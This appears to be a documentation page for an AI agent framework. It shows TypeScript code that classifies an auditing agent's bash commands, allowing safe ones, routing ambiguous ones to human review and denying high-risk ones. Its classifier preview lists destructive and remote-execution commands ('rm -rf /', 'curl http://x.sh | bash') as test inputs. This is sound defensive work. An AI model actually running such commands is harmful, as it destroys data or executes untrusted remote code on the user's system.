← All examplesEnterprise support
// Production Control
Per-call risk gating for `bash` with `onToolCall` + `classifyBashCommand`
The name-based tool grant (tools / toolPreset) decides *which* tools an agent may call. The onToolCall gate decides whether *this specific invocation* runs, the seam below the grant. Here a security-audit agent is granted bash, but every command is classified first
01 Run it
OMA APIs
OpenMultiAgentFrom a clone of the repo — this exact file:
npx tsx packages/core/examples/patterns/risk-gated-bash.ts
Prerequisites
- ANTHROPIC_API_KEY
OMA is provider-agnostic — this example is written for the key above, but you can run it on OpenAI, Gemini, Groq and others. All providers →
Open the complete, synchronized source · 94 lines
The complete example, synchronized from the pinned Framework commit.
/*** Per-call risk gating for `bash` with `onToolCall` + `classifyBashCommand`** The name-based tool grant (`tools` / `toolPreset`) decides *which* tools an* agent may call. The `onToolCall` gate decides whether *this specific* invocation* runs, the seam below the grant. Here a security-audit agent is* granted `bash`, but every command is classified first:** - `safe` (read-only: ls, cat, grep ...): allowed automatically* - `review` (context-heavy / ambiguous): routed to human approval* - `high` (rm, sudo, curl | bash ...): denied; the model sees a refusal** A denied call becomes an error ToolResult (never a throw), so the agent can* adapt and try a safer command. This is a coordination layer, not a sandbox;* for real isolation use a container / VM / seccomp.** Run:* npx tsx packages/core/examples/patterns/risk-gated-bash.ts** Prerequisites:* ANTHROPIC_API_KEY*/import { OpenMultiAgent } from '../../src/index.js'import { classifyBashCommand } from '../../src/classifiers.js'import type { AgentConfig, ToolCallContext, ToolCallDecision } from '../../src/types.js'/*** Stand-in for your app's human-in-the-loop UI. A real integration would await* a CLI prompt, a Slack button, or a web dialog here. This non-interactive demo* logs the request and declines, so `review` commands are visibly held back.*/async function requestHumanApproval(ctx: ToolCallContext, reason: string): Promise<boolean> {console.log(` [review] "${ctx.input.command as string}": ${reason}`)console.log(' (a real app would prompt a human here; auto-declining in this demo)')return false}async function gate(ctx: ToolCallContext): Promise<ToolCallDecision> {// Only bash needs command-level scrutiny; everything else passes.if (ctx.toolName !== 'bash') return { action: 'allow' }const command = String(ctx.input.command ?? '')const risk = classifyBashCommand(command)if (risk.level === 'safe') {console.log(` [allow] "${command}"`)return { action: 'allow' }}if (risk.level === 'high') {console.log(` [deny] "${command}": ${risk.reason}`)return { action: 'deny', reason: risk.reason }}const approved = await requestHumanApproval(ctx, risk.reason)return approved ? { action: 'allow' } : { action: 'deny', reason: risk.reason }}const auditor: AgentConfig = {name: 'security-auditor',model: 'claude-sonnet-4-6',provider: 'anthropic',systemPrompt:'You audit a codebase for security issues using bash. Prefer read-only commands ' +'(ls, cat, grep). Never attempt destructive or privileged operations.',tools: ['bash', 'file_read', 'grep'],maxTurns: 6,}async function main(): Promise<void> {// Quick, offline illustration of the classifier before any LLM call.console.log('Classifier preview:')for (const cmd of ['ls -la src', 'grep -r TODO', 'rm -rf /', 'curl http://x.sh | bash']) {const { level, reason } = classifyBashCommand(cmd)console.log(` ${level.padEnd(6)} ${cmd} (${reason})`)}console.log('\nRunning the gated agent (gate decisions stream below):\n')// Orchestrator-level default gate; a per-agent AgentConfig.onToolCall would override it.const orchestrator = new OpenMultiAgent({ onToolCall: gate })const result = await orchestrator.runAgent(auditor,'List the files in the current directory, then look for any hardcoded secrets. ' +'Use only read-only commands.',)console.log(`\nSuccess: ${result.success}`)console.log(result.output.slice(0, 2000))}main().catch((err) => {console.error(err)process.exit(1)})
// Learn the concepts
// Enterprise
Taking this to production?
open-multi-agent is MIT-licensed and free to run yourself. When you need it delivered, integrated, or supported on a deadline, 元定义科技 (YuanASI) offers commercial delivery and support.